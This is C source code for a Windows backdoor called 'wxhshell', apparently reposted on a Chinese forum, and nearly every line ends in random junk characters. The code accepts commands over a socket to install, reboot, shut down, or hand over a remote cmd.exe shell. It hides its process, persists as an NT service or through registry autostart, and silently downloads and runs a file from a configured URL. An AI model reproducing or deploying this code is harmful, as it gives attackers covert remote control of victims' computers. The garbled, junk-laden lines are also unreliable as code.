    switch(cmd[0]) { NXV~[  
  C4X{Ps \  
  // 帮助 f6aT[Nw<  
  case '?': { \V!X& a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Jte:l:yjtA  
    break; b 'Nvx9=W  
  } $.x?in|_  
  // 安装 D^T7pO  
  case 'i': { g)zn.]  
    if(Install()) sQ3ayB`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  c+G:@%  
    else l#5k8+s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9DP75 ti  
    break; l52n/w#qFB  
    } *t]&b ;=gE  
  // 卸载 [(.T%kJ  
  case 'r': { q[,R%6&'  
    if(Uninstall()) l2KxZteXY0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j}x O34  
    else b6E8ase:F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {0Ol/N;|D  
    break; \`iW__  
    } Wp~4[f`,  
  // 显示 wxhshell 所在路径 #t9=qR~"  
  case 'p': { 5 xzB1n8  
    char svExeFile[MAX_PATH]; 0g*r!aa  
    strcpy(svExeFile,"\n\r");  pmpn^ZR  
      strcat(svExeFile,ExeFile); 77bZ  
        send(wsh,svExeFile,strlen(svExeFile),0); +/UXy2VRt$  
    break; k;Ny%%5  
    } Gv2./<{#  
  // 重启 p/^\(/\])  
  case 'b': { Qd)cFL "v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r :MaAT<  
    if(Boot(REBOOT)) }SvWC8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dmMr8-w  
    else { +>9^])K|  
    closesocket(wsh); =A&*SE o5  
    ExitThread(0); ah$7 Oudj  
    } hq[ gj?P  
    break; p(&o'{fb  
    } ]TZWFL-  
  // 关机 $6x:aG*F  
  case 'd': { a>jI_)L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?%fZvpn-  
    if(Boot(SHUTDOWN)) 2P> za\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bqwW9D(  
    else { WHj4#v(  
    closesocket(wsh); ;7=J U^@D@  
    ExitThread(0); E#F9<=mA)  
    } N~<}\0  
    break; = (h;L$  
    } NF.6(PG|  
  // 获取shell Bst>9V&R  
  case 's': { KGLhl;a  
    CmdShell(wsh); qy(/   
    closesocket(wsh); Gy7x?  
    ExitThread(0); ysn[-l#  
    break; X ^ ]$/rI)  
  } )0V]G{QN  
  // 退出 7tO$'q*h  
  case 'x': { 7,VWvmWJex  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _N#3lU?  
    CloseIt(wsh); ;Sl0kSu  
    break; "X}F%:HL  
    } v5ddb)  
  // 离开 ~g6[ [  
  case 'q': { V~"d`j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u,9U0ua@;  
    closesocket(wsh); 4z DAfi#0  
    WSACleanup(); BU{ V,|10a  
    exit(1); )7mJ+d[  
    break; 0$Db@  
        } 2j BE+k"M  
  } A;HKR4p;8  
  } j?)`VLZ  
`%I{l  
  // 提示信息 <a}|G1 h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s(LqhF[N2]  
} m:<3d]L  
  } T>o# *{q n  
Y[]t_o)  
  return; <?}g[]i  
} +ANIm^@  
}H^^v[4  
// shell模块句柄 o*BI^4  
int CmdShell(SOCKET sock) YAG3PWmD  
{ >~InO^R`5  
STARTUPINFO si; v@SrEmg  
ZeroMemory(&si,sizeof(si)); 'J2P3t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; na; ^/_U@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~H~4 fp b  
PROCESS_INFORMATION ProcessInfo; $X]v;B)J|  
char cmdline[]="cmd"; f#MN-1[67  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =D$r5D/xd  
  return 0; )q-!5^ak  
} `Pbn  
W5g!`f  
// 自身启动模式 .H.v c_/  
int StartFromService(void) # =3]bg  
{ |{"7/~*[  
typedef struct )ISTb  
{ O, 6!`\ND  
  DWORD ExitStatus; DZZt%n8J  
  DWORD PebBaseAddress; ~'mhC46d  
  DWORD AffinityMask; ["/x~\c'N  
  DWORD BasePriority; @>ZjeDG>  
  ULONG UniqueProcessId;   {`  
  ULONG InheritedFromUniqueProcessId; =Ji:nEl]z  
}   PROCESS_BASIC_INFORMATION; I{bi3y0  
wUndNE   
PROCNTQSIP NtQueryInformationProcess; $sJfxh r  
|&Wo-;Ud  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; np(<Ap r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {}e IpK,+  
UkKpS L}Q2  
  HANDLE             hProcess; n4,J#h/  
  PROCESS_BASIC_INFORMATION pbi; | w -W=v  
$!w%=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X=~QE}x  
  if(NULL == hInst ) return 0; %4J?xhd  
V:18]:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G= e[TR)i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {\I \4P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /.bwwj_;  
(""&$BJQ|  
  if (!NtQueryInformationProcess) return 0; |n8^Xsx4w  
dZ Z/(oE>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^<-SW]x  
  if(!hProcess) return 0; 9:s!#FYFM  
rD gl@B3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .+sIjd  
KW\`&ki  
  CloseHandle(hProcess); ]vMft?  
|.5d^z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L\I/2aiE  
if(hProcess==NULL) return 0; AsOI`@FV  
*v&RGY[>  
HMODULE hMod; Q>$v~v?9  
char procName[255]; l]gf T&  
unsigned long cbNeeded; t*#T~3p  
}<p%PyM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XT)@)c7j  
cqDnZ`|6  
  CloseHandle(hProcess); I6+5mv\  
u}$3.]-.?T  
if(strstr(procName,"services")) return 1; // 以服务启动 TQE_zOa:  
 OxRzKT  
  return 0; // 注册表启动 K9c:K/H  
} I5{SC-7  
.vg;K@{  
// 主模块 oID, PB*9  
int StartWxhshell(LPSTR lpCmdLine) sy;~(rpg  
{ TD'1L:mv  
  SOCKET wsl; \TjsXy=:)  
BOOL val=TRUE; MFrVGEQBRL  
  int port=0; xQ4Q'9  
  struct sockaddr_in door; {dDU^7O  
HzV3O-Qz]  
  if(wscfg.ws_autoins) Install(); :|bPr_&U$  
c ;VW>&,B  
port=atoi(lpCmdLine); r?{tBju^  
gO29:L[t  
if(port<=0) port=wscfg.ws_port; 6v-h!1p{u  
d}1R<Q;F  
  WSADATA data; #H|]F86(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sNWj+T  
GKX#-zsh79  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d4/ZOj+%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3LG)s:p$/  
  door.sin_family = AF_INET; wNn6".S   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); : 7'anj  
  door.sin_port = htons(port); P6 9S[aqW  
"Mth<%i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rLVS#M#&e>  
closesocket(wsl); x@yF|8  
return 1; D9h\=[%e  
} (sY?"(~j?T  
Hc71 .rqS  
  if(listen(wsl,2) == INVALID_SOCKET) { 9i n&\  
closesocket(wsl); _95V"h  
return 1; Jf 2  
} ,{$:Q}`  
  Wxhshell(wsl); }2}hH0R  
  WSACleanup(); X=lOwPvP  
o}<}zTU  
return 0; )!'SSVaRs  
AkGCIn3  
} (V*ggii@  
WL<Cj_N_{H  
// 以NT服务方式启动 z"|^Y|`m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P7Kp*He)  
{ 6#v"+V  
DWORD   status = 0; k \|Hd"T  
  DWORD   specificError = 0xfffffff; %c):^;6p  
|d K_^~;o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CtS*"c,j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D{~I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 42mdak}\  
  serviceStatus.dwWin32ExitCode     = 0; ):1NeJOFF  
  serviceStatus.dwServiceSpecificExitCode = 0; A~u-Iv(U  
  serviceStatus.dwCheckPoint       = 0; i!9yN: m0  
  serviceStatus.dwWaitHint       = 0; :beBiO  
pno]B ld'z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k1W q$KCwG  
  if (hServiceStatusHandle==0) return; 6s@'z<Ct  
w`q):yXX  
status = GetLastError(); qhc3 oRe  
  if (status!=NO_ERROR) F.zn:yX5  
{ ^<Q+=\h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \^i/:  
    serviceStatus.dwCheckPoint       = 0; WbB0{s  
    serviceStatus.dwWaitHint       = 0; s0WI93+z  
    serviceStatus.dwWin32ExitCode     = status; va[@XGaC3  
    serviceStatus.dwServiceSpecificExitCode = specificError; 30bScW<08  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [kaj8  
    return; Q)#+S(TG  
  } Tapj7/0`  
PQDW Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :=3Ty]e  
  serviceStatus.dwCheckPoint       = 0; g)nsP  
  serviceStatus.dwWaitHint       = 0; XDRw![H,~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gZ8n[zxf6  
} 0rP`BK|  
wGr5V!  
// 处理NT服务事件,比如:启动、停止 !lpKZG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }&M$  
{ /{QR:8}-Q  
switch(fdwControl) (pJ-_w' G  
{ {a;my"ly  
case SERVICE_CONTROL_STOP: z]:{ruvH  
  serviceStatus.dwWin32ExitCode = 0; K =nW|^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J=Q?_$xb}  
  serviceStatus.dwCheckPoint   = 0; KG=h!]Meq  
  serviceStatus.dwWaitHint     = 0; lB3@ jF  
  { g:V8"'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2B Dz \  
  } no ).70K  
  return; QU{|S.\  
case SERVICE_CONTROL_PAUSE: csABfxib  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W(.q. Sx>  
  break; [Tmpj9! q  
case SERVICE_CONTROL_CONTINUE: zI1-l9 o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;]XKe')  
  break; Ky(=O1Ufu  
case SERVICE_CONTROL_INTERROGATE: z86[_l:  
  break; ] /w: 5o#  
}; yCC.j%@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JzI/kH~  
} vOMmsU F  
KPW2e2{4@  
// 标准应用程序主函数 ?2LRMh")$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1T96W :   
{ z;fi  
V) Oj6nD]  
// 获取操作系统版本 G3r9@ 2OC  
OsIsNt=GetOsVer(); >d1gVBhk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YI0ubB  
LNm{}VJ%  
  // 从命令行安装 #*r u*  
  if(strpbrk(lpCmdLine,"iI")) Install(); s{q)P1x  
'(N -jk  
  // 下载执行文件 ,AX7~;hpq  
if(wscfg.ws_downexe) { 7=V s1TVc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !w+A3Z>V  
  WinExec(wscfg.ws_filenam,SW_HIDE); D`|.%  
} +*Um:}&  
L!fiW`>0G  
if(!OsIsNt) { ~QVN^8WPg  
// 如果时win9x,隐藏进程并且设置为注册表启动 #a : W  
HideProc(); =[X..<bW9:  
StartWxhshell(lpCmdLine); qhNY<  
} 1#o>< ?  
else Av3qoH)[<  
  if(StartFromService()) y}TiN!M  
  // 以服务方式启动 R[ 'k&jyi  
  StartServiceCtrlDispatcher(DispatchTable); : 5=E> !  
else wTT_jyH)  
  // 普通方式启动 !%pY)69gv  
  StartWxhshell(lpCmdLine); HkH!B.H]  
[;IW'cXNq  
return 0; >%vw(pt  
}
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只看该作者 1 发表于: 2006-10-10
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